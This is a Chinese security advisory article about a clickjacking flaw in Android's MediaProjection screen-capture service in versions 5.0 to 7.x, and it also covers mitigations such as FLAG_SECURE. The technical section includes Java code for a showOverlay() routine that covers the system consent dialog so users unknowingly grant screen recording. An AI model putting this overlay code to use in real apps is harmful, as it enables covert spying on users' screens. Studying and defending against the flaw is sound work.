Android Media Projection服务漏洞深度剖析

2017-11-24 +12 153496人围观 终端安全

Android MediaProjection服务被滥用,攻击者可以录音、获取屏幕内容。影响Android5.0之后8.0以前的所有版本,google回应已在8.0版本对漏洞进行了修复。

漏洞描述

Google在Android 5.0中引入了MediaProjection 服务, MediaProjection服务可以让应用开发者获取屏幕内容和记录系统音频。在Android 5.0之前,应用开发者需要应用在 root权限下运行或者用设备的release key对应用进行签名,只有这样才可以使用系统保护的权限来获取屏幕内容。而且,使用 MediaProjection服务时,不需要在 AndroidManifest.xml中声明请求的权限。

为了使用MediaProjection服务,应用只需要通过intent请求系统服务的访问权限。对系统服务的访问是通过SystemUI的弹窗提示用户请求的应用要获取屏幕内容来授权的。 攻击者可以用任意消息来覆盖SystemUI的弹窗提示,诱使用户点击并授权攻击者的应用获取屏幕内容。

漏洞影响

该漏洞总体来说是比较严重的,因为漏洞允许攻击者获取用户的屏幕内容,攻击者可以用任意消息来覆盖SystemUI的弹窗提示。使用该API又没有特定的权限,因此很难检测应用是否使用了MediaProjection服务。

漏洞起因

该漏洞的主要起因是因为受影响的Android版本无法检测SystemUI弹窗提示。攻击者就可以伪造一个应用来覆盖SystemUI弹窗,这样就可以进行权限提升了。SystemUI弹窗是唯一能够预防MediaProjection服务滥用的访问控制机制。攻击者可以通过点击劫持弹窗的方式绕过这种访问控制机制。

临时解决方案

目前只有Android 8.0修复了该漏洞,由于安卓系统碎片化的性质,许多安卓设备不能升级到Android 8.0系统,所以说还有很多的安卓设备受该漏洞的影响。根据10月2日Android developer dashboard的消息,大约77.5%的安卓设备可能会遭受这种攻击。

图片.png

然而该攻击并不是完全不能检测到的。当应用获得MediaProjection服务的访问权限,系统就会生成一个 Virtual Display,可以激活通知栏的截屏图标。当用户在设备通知栏看到截屏图标时,就应该看一下正在运行的应用或者进程。例图如下:

图片.png

解决方案

用户应该尽快升级系统到Android 8.0,Google是否会对受影响的版本发布补丁尚未可知。如果这些版本发布了兵丁,用户应该尽快更新设备的系统。安卓应用开发者抵御此类攻击的方式是通过应用的WindowManager开启FLAG_SECURE布局参数。这可以确保应用窗口的内容是安全的,可以防止被截屏或通过其他不安全的方式查看。 FLAG_SECURE参数的设置如下:

public class ApplicationActivity extends AppCompatActivity 
{ 
@Override public void onCreate(Bundle savedInstanceState) 
{ 
super.onCreate(savedInstanceState); 
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); /* application code follows */ 
} 
}

技术细节

要使用MediaProjection服务,应用开发者要创建MediaProjectionManager实例,该实例要连接系统服务MEDIA_PROJECTION_SERVICE。例子如下:

mProjectionManager = (MediaProjectionManager) getSystemService(Context.MEDIA_PROJECTION_SERVICE);

MediaProjectionManager对象被实例化后,应用开发者可以生成intent来请求屏幕获取的权限。示例如下:

int REQUEST_CODE = 1000; 
startActivityForResult(mProjectionManager.createScreenCaptureIntent(), REQUEST_CODE);

运行intent会触发SystemUI弹窗警告用户屏幕上的所有活动都会被记录下来。例子如下:

图片.png

用户对弹窗的响应可以用onActivityResult函数进行检测。例子如下:

public void onActivityResult(int requestCode, int resultCode, Intent data) 
{ 
mMediaProjectionCallback = new MediaProjectionCallback(); 
mMediaProjection = mProjectionManager.getMediaProjection(resultCode, data); 
mMediaProjection.registerCallback(mMediaProjectionCallback, null); 
mVirtualDisplay = createVirtualDisplay(); mMediaRecorder.start(); 
}

应用开发者可以控制UI feedback loop,当intent被用来生成SystemUI弹窗时,可以用onActivityResult()检测用户在弹窗的输入。攻击者可以利用这个在SystemUI弹窗上绘制overlay。

为了达到这个目的,攻击者首先要在启动Screen Capture intent前绘制overlay。例子如下:

int REQUEST_CODE = 1000;
showOverlay();
startActivityForResult(mProjectionManager.createScreenCaptureIntent(), REQUEST_CODE);

Where showOverlay()是攻击者定义的函数,可以在SystemUI弹窗上绘制overlay。该函数可以为当前应用程序的WindowManager建立索引,定义配置View行为的WindowManager.LayoutParams。函数在向WindowManager中添加了含有overlay的View后结束执行。下面的代码是showOverlay()的典型应用:

void showOverlay() 
{ 
WindowManager windowManager = (WindowManager) getApplicationContext().getSystemService(WINDOW_SERVICE); WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams( WindowManager.LayoutParams.TYPE_SYSTEM_ERROR, WindowManager.LayoutParams.FLAG_FULLSCREEN | WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE | WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED ); mOverlay = View.inflate(getApplicationContext(), R.layout.overlay, null); 
windowManager.addView(mOverlay, layoutParams);
}

作为Layout参数的一部分,对WindowManager.LayoutParams.TYPE_SYSTEM_ERROR的定义可以确保overlay是设备UI栈的最常用UI组件。这就允许攻击者覆盖任意的SystemUI组件,这样攻击者就可以用任意消息覆盖SystemUI弹窗。示例如下:

图片.png

为了绘制overlay和使用Layout Parameter,WindowManager.LayoutParams.TYPE_SYSTEM_ERROR,攻击者必须在AndroidManifest.xml中定义android.permission.SYSTEM_ALERT_WINDOW权限。攻击者要诱导用户点击‘START NOW’,应用就可以获取用户屏幕了。

*参考来源 MWRInfoSecurity,本文作者ang010ela,转载注明来自FreeBuf.COM

取消
Loading...
css.php